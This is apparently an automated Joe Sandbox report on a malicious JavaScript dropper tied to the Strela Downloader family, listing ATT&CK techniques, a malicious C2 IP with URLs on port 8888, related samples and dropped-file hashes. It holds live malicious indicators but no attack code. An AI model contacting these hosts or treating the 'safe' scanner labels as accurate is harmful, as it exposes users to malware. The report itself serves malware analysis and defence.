Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://193.143.1.205:8888/b	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/V	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1429491644.000001EF2B038000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2657888926.00000299B1600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/V	net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1429491644.000001EF2B038000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1429491644.000001EF2B08B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1431815558.00000299B1800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/.	net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587892
Start date and time:	2025-01-10 19:04:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	293816234142143228.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.6.155.20, 20.12.23.50, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 293816234142143228.js

Simulations

Behavior and APIs

Time	Type	Description
13:04:57	API Interceptor	22x Sleep call for process: powershell.exe modified
13:05:01	API Interceptor	1x Sleep call for process: net.exe modified
13:05:01	API Interceptor	2x Sleep call for process: svchost.exe modified
13:05:10	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	13.107.246.45
	MWP0FO5rAF.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	3HnH4uJtE7.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Encrypted_Archive_2025_LHC1W64SMW.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	GcA5z6ZWRK.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Unconfirmed 287374.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.depoqq.win/geno	Get hash	malicious	Unknown	Browse	13.107.246.45
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
bg.microsoft.map.fastly.net	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49318269304408524
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaT:cJhXC9lHmutpJyiRDeJ/aUKrDgnml
MD5:	916A7166E6F70345E37CDF1BCBBC9433
SHA1:	73BCC8870B2879AAC8773CBF00B1BEB5A0105446
SHA-256:	53B05D687848FE1C7C1007F93DDFA1E4F713053BE25600E7754A4C492CD35669
SHA-512:	CB7C7C9DDE98A13CF482B15E94412F780554D5598A450133A719D0243E4CD2660E4145218B4DBF48EF6A3D9C38E25BA432D70611C778FCFDA112906D2CDB63B5
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x113f9a4b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216257381337258
Encrypted:	false
SSDEEP:	1536:E3OSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSP:E3OazaNvFv8V2UW/DLzN/w4wZi
MD5:	24DF8A5DECF8526246C73EF5AE3C66A1
SHA1:	53E73254BE333FF3D618B4F11636257E19DED953
SHA-256:	BE13C7E71FAEDE8D69957714F033598B9001C2DC2B9AA12A926C43F59D7659F5
SHA-512:	552F34ACAE8E35986D8E650F98415A4CB1D075E4492B1921668641C937DA55A7A475CC1E85C3491FF5E81EB5452B533B274F632D64E91043DE3356900FB3AA59
Malicious:	false
Preview:	.?.K... ...............X\...;...{......................p.D..........{}......}7.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................._.9.....}U.................x._......}7..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07892272247704657
Encrypted:	false
SSDEEP:	3:AdYeQ1as6/fgsCrZClW/t1G/lall+SHY/Xl+/rQLve:Azxxfgs3GuAAS4M
MD5:	0F7A337D8727F6D4FBB685E0655AA7BC
SHA1:	6BEE1B2E160F30FB178C9B84DF4405969E3881C9
SHA-256:	899C5D6214331D8AE7FBE7A633A9FB21D681A1009A4E71263ECB1746EB14E5DE
SHA-512:	88027B0E310BB5D823753EAF11CE66861C8306650C1B90330E4E402B911C245DA6FE2B7F00304DD935FB5AAA9DD20217C2C389EBB5972CE412E37C01014611ED
Malicious:	false
Preview:	.if......................................;...{.......}7......{}..............{}......{}.vv_Q.....{}.................x._......}7.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1674174075936765
Encrypted:	false
SSDEEP:	6:iO4n9IUz+q2PqLTwi2nKuAl9OmbnIFUtSn9uacGXZmwsn9uacG3VkwOqLTwi2nKZ:7M9p+v8wZHAahFUte9uW/g9uSV5TwZHi
MD5:	C4E08B743CD8DA4CB77B1A5A4EBB81B9
SHA1:	956794AF87B41FCD823AB58452F726F1D7A032B6
SHA-256:	AC828BDE8C3CAF8FD5963A6200F019A8A46413DAFFEEE5B9301A8B1382F73DAF
SHA-512:	6004CB22F096A8195C6D79BED0D73247FACE60B7CEC01D18774ADABF24850654CD9545A9A33F61917026418E6F3C538824FDA2F88EB16ECBA026A1592B020FB5
Malicious:	false
Preview:	2025/01/10-13:05:01.680 1f9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:05:01.682 1f9c Recovering log #3.2025/01/10-13:05:01.682 1f9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1674174075936765
Encrypted:	false
SSDEEP:	6:iO4n9IUz+q2PqLTwi2nKuAl9OmbnIFUtSn9uacGXZmwsn9uacG3VkwOqLTwi2nKZ:7M9p+v8wZHAahFUte9uW/g9uSV5TwZHi
MD5:	C4E08B743CD8DA4CB77B1A5A4EBB81B9
SHA1:	956794AF87B41FCD823AB58452F726F1D7A032B6
SHA-256:	AC828BDE8C3CAF8FD5963A6200F019A8A46413DAFFEEE5B9301A8B1382F73DAF
SHA-512:	6004CB22F096A8195C6D79BED0D73247FACE60B7CEC01D18774ADABF24850654CD9545A9A33F61917026418E6F3C538824FDA2F88EB16ECBA026A1592B020FB5
Malicious:	false
Preview:	2025/01/10-13:05:01.680 1f9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:05:01.682 1f9c Recovering log #3.2025/01/10-13:05:01.682 1f9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.075694809443767
Encrypted:	false
SSDEEP:	6:iO4n9y4q2PqLTwi2nKuAl9Ombzo2jMGIFUtSn9CQZmwsn9C2Ev3DkwOqLTwi2nK3:7M9y4v8wZHAa8uFUte9CQ/g9C35TwZHA
MD5:	C3D3BC4ED74A7C50CFDA3F98AF3C9D09
SHA1:	C209FF3B7506F648305A073596D36A193C15261C
SHA-256:	06E490D1E2604E605662B6CC0C21626A7F7DDC228EF76F7B2744B144A2B7C674
SHA-512:	CD6BAAE036EFE74133631FF5E361CF9C9AFC37EC608EEC3AD13ACC847DDC9024D3FFEA86B7FC1CD943A53B93B4F628DAE05E8CA70FC15E56E8CE8E4AED30AED6
Malicious:	false
Preview:	2025/01/10-13:05:01.708 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:05:01.710 ba0 Recovering log #3.2025/01/10-13:05:01.711 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.075694809443767
Encrypted:	false
SSDEEP:	6:iO4n9y4q2PqLTwi2nKuAl9Ombzo2jMGIFUtSn9CQZmwsn9C2Ev3DkwOqLTwi2nK3:7M9y4v8wZHAa8uFUte9CQ/g9C35TwZHA
MD5:	C3D3BC4ED74A7C50CFDA3F98AF3C9D09
SHA1:	C209FF3B7506F648305A073596D36A193C15261C
SHA-256:	06E490D1E2604E605662B6CC0C21626A7F7DDC228EF76F7B2744B144A2B7C674
SHA-512:	CD6BAAE036EFE74133631FF5E361CF9C9AFC37EC608EEC3AD13ACC847DDC9024D3FFEA86B7FC1CD943A53B93B4F628DAE05E8CA70FC15E56E8CE8E4AED30AED6
Malicious:	false
Preview:	2025/01/10-13:05:01.708 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:05:01.710 ba0 Recovering log #3.2025/01/10-13:05:01.711 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47032f6c-d3cd-4d6a-a56c-5fe651c91ca7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4TX:Y2sRds+6dMHlR3QYhbt7n7
MD5:	ACCB522AE87A739BDC04EB5A34975EEB
SHA1:	A41FED54445E729A85E7017A002D4FF6FCAFEC93
SHA-256:	C7106DE6A60A389FB9B4BBC9971C9922919583A3C382664F3E78DFDC2A95AE96
SHA-512:	5B35F36E3C53CC53F90AEA276934753CAD809640E7447BD9F7AAFF48FD46EFBE5FFDEEBC19770D7D0550E67624AB76571D64525F00B82430534576B3015EFF3B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\564b197d-d27d-4184-94ed-43fb460ad39f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956248362511693
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqiWyXhsBdOg2Hgcaq3QYiub5P7E4TX:Y2sRdsAyXydMHL3QYhbt7n7
MD5:	7966270CD1C0DD451EAFC1A11210CD7B
SHA1:	5F0E0F813438BDEFD12501DE0759ECC90C1288C1
SHA-256:	5E8BC250A2074581587286AF5CA1FD5B3296E6F66A8F56633B275B9560205C61
SHA-512:	F74333922A3D1EBA24716EFBD5D84A50C58EECE5B52B51C837AA20456E4BD115B41E2A4FAE370898CBCFF5525494B6350A6241FFDD214E6D3678BEEE3C0CCEDC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092313337436","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":225362},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4TX:Y2sRds+6dMHlR3QYhbt7n7
MD5:	ACCB522AE87A739BDC04EB5A34975EEB
SHA1:	A41FED54445E729A85E7017A002D4FF6FCAFEC93
SHA-256:	C7106DE6A60A389FB9B4BBC9971C9922919583A3C382664F3E78DFDC2A95AE96
SHA-512:	5B35F36E3C53CC53F90AEA276934753CAD809640E7447BD9F7AAFF48FD46EFBE5FFDEEBC19770D7D0550E67624AB76571D64525F00B82430534576B3015EFF3B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF70591b.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4TX:Y2sRds+6dMHlR3QYhbt7n7
MD5:	ACCB522AE87A739BDC04EB5A34975EEB
SHA1:	A41FED54445E729A85E7017A002D4FF6FCAFEC93
SHA-256:	C7106DE6A60A389FB9B4BBC9971C9922919583A3C382664F3E78DFDC2A95AE96
SHA-512:	5B35F36E3C53CC53F90AEA276934753CAD809640E7447BD9F7AAFF48FD46EFBE5FFDEEBC19770D7D0550E67624AB76571D64525F00B82430534576B3015EFF3B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.228404543779588
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Ozr0XpQm:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozrc
MD5:	F85A45562EF730F40923042CB62D541C
SHA1:	6539755CBFB0134F2DF987DF5D8E2C8932547D9B
SHA-256:	CA0898CBFB3A7DEBAD46B5CAA9E7063BABEDC8C26BBC8DF0DB3C8065E1DFB711
SHA-512:	E4C38247099281C30F4FF494760EE06B615B751B665EC44691BF2049C15A78400AAADB940D4F5C6925CE6C3BFA5376F87B2D3B1FD93796022658EA7CE37CE3F7
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.084280662551287
Encrypted:	false
SSDEEP:	6:iO4n97Iq2PqLTwi2nKuAl9OmbzNMxIFUtSn9OVCZmwsn9OcHU3DkwOqLTwi2nKuP:7M97Iv8wZHAa8jFUte9OQ/g9O2w5TwZv
MD5:	59E89DDB5286C80D6DE0F2C3F78FF6E1
SHA1:	76A34FE07D5512493D5E5F37E2CC42304805F9AB
SHA-256:	ED166080CD12B0B3BCC4E6E8FA74133E2C0B8F1853A20B1ED7A86D77D10019A7
SHA-512:	C683B6A46A80F3893F81A0AC2EE3BED310A5A6AD1B672FA0FD60EADE4031367BCDBD46234D4B04C1DB015CF3014DF9F42B8DDFEE6FB731A6C480A3108485AB22
Malicious:	false
Preview:	2025/01/10-13:05:01.929 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:05:01.930 ba0 Recovering log #3.2025/01/10-13:05:01.931 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.084280662551287
Encrypted:	false
SSDEEP:	6:iO4n97Iq2PqLTwi2nKuAl9OmbzNMxIFUtSn9OVCZmwsn9OcHU3DkwOqLTwi2nKuP:7M97Iv8wZHAa8jFUte9OQ/g9O2w5TwZv
MD5:	59E89DDB5286C80D6DE0F2C3F78FF6E1
SHA1:	76A34FE07D5512493D5E5F37E2CC42304805F9AB
SHA-256:	ED166080CD12B0B3BCC4E6E8FA74133E2C0B8F1853A20B1ED7A86D77D10019A7
SHA-512:	C683B6A46A80F3893F81A0AC2EE3BED310A5A6AD1B672FA0FD60EADE4031367BCDBD46234D4B04C1DB015CF3014DF9F42B8DDFEE6FB731A6C480A3108485AB22
Malicious:	false
